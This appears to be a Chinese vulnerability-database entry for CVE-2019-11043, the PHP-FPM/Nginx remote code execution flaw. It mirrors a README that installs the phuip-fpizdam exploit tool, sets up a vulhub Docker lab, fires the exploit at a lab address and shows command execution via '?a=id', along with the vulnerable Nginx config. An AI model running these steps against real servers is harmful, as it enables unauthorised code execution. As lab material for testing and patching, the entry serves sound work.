关联漏洞
标题:
PHP 缓冲区错误漏洞
(CVE-2019-11043)
描述:PHP(PHP:Hypertext Preprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操作系统。 PHP中存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时,未正确验证数据边界,导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。以下产品及版本受到影响:PHP 7.1.33之前版本的7.1.x版本,7.2.24之前版本的7.2.x版本,7
描述
php-fpm+Nginx RCE
介绍
# CVE-2019-11043 php-fpm+Nginx RCE
## 0x01 install phuip-fpizdam-Mac
`go get github.com/neex/phuip-fpizdam`
`go install github.com/neex/phuip-fpizdam`

```
ale@Pentest ~/go go get github.com/neex/phuip-fpizdam
ale@Pentest ~/go go install github.com/neex/phuip-fpizdam
ale@Pentest ~/go ls
bin src
ale@Pentest ~/go cd bin
ale@Pentest ~/go/bin ls
phuip-fpizdam
ale@Pentest ~/go/bin file phuip-fpizdam
phuip-fpizdam: Mach-O 64-bit executable x86_64
ale@Pentest ~/go/bin ls -lah phuip-fpizdam
-rwxr-xr-x 1 ale staff 9.3M Oct 24 07:30 phuip-fpizdam
ale@Pentest ~/go/bin
```
##### phuip-fpizdam help
```
./phuip-fpizdam
Error: accepts 1 arg(s), received 0
Usage:
phuip-fpizdam [url] [flags]
Flags:
--cookie string send this cookie
-h, --help help for phuip-fpizdam
--kill-count int how many times to send the worker killing payload (default 50)
--kill-workers just kill php-fpm workers (requires only QSL)
--method string detect method (see detect_methods.go) (default "session.auto_start")
--only-qsl stop after QSL detection, use this if you just want to check if the server is vulnerable
--pisos int pisos hint
--qsl int qsl hint
--reset-retries int how many retries to do for --reset-setting, -1 means a lot (default 50)
--reset-setting try to reset setting (requires attack params)
--setting string specify custom php.ini setting for --reset-setting
--skip-attack skip attack phase
--skip-detect skip detection phase
2019/10/24 07:53:55 accepts 1 arg(s), received 0
```
## 0x02 install phuip-fpizdam-Windows
`https://github.com/neex/phuip-fpizdam/archive/master.zip`
`go build`

## 0x03 docker for CVE-2019-11043
```
root@kali:~# cd ~/vulhub/php/CVE-2019-11043
root@kali:~/vulhub/php/CVE-2019-11043# ls
1.png 2.png default.conf docker-compose.yml README.md www
root@kali:~/vulhub/php/CVE-2019-11043# docker-compose up -d
Creating network "cve-2019-11043_default" with the default driver
Creating cve-2019-11043_php_1 ... done
Creating cve-2019-11043_nginx_1 ... done
root@kali:~/vulhub/php/CVE-2019-11043#
root@kali:~/vulhub/php/CVE-2019-11043# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9923d12fdff0 nginx:1 "nginx -g 'daemon of…" 43 seconds ago Up 41 seconds 0.0.0.0:8080->80/tcp cve-2019-11043_nginx_1
d3135c708e7b php:7.2.10-fpm "docker-php-entrypoi…" 44 seconds ago Up 42 seconds 9000/tcp cve-2019-11043_php_1
```

## 0x04 send poc
`./phuip-fpizdam http://10.10.20.166:8080/index.php`

`http://10.10.20.166:8080/index.php?a=id`

## python check vulnerable.
`python php-rce-check.py`


## nginx config
`/etc/nginx/conf.d/default.conf`
example:
```
server {
listen 80 default_server;
listen [::]:80 default_server;
root /usr/share/nginx/html;
index index.html index.php;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
include fastcgi_params;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_index index.php;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
}
```
## version
```
root@7c20aecd9c04:/usr/share/nginx/html# nginx -v
nginx version: nginx/1.19.2
phpinfo();
PHP Version 7.2.10
```
## 0x05 参考链接
https://github.com/neex/phuip-fpizdam
https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
文件快照
[4.0K] /data/pocs/3a6482664b0333724b73481aa4b57054a4fe7b84
├── [647K] 502.jpg
├── [286K] check.jpg
├── [140K] CVE-2019-11043-docker.png
├── [375K] CVE-2019-11043.jpg
├── [159K] php-command.jpg
├── [1.5K] php-rce-check.py
├── [103K] phuip-fpizdam-Mac.jpg
├── [4.0K] phuip-fpizdam-poc
│ ├── [4.7M] phuip-fpizdam.exe
│ ├── [4.9M] phuip-fpizdam-linux
│ ├── [4.6M] phuip-fpizdam-Mac
│ └── [ 283] readme.md
├── [271K] phuip-fpizdam-Windows.jpg
└── [3.8K] README.md
1 directory, 13 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。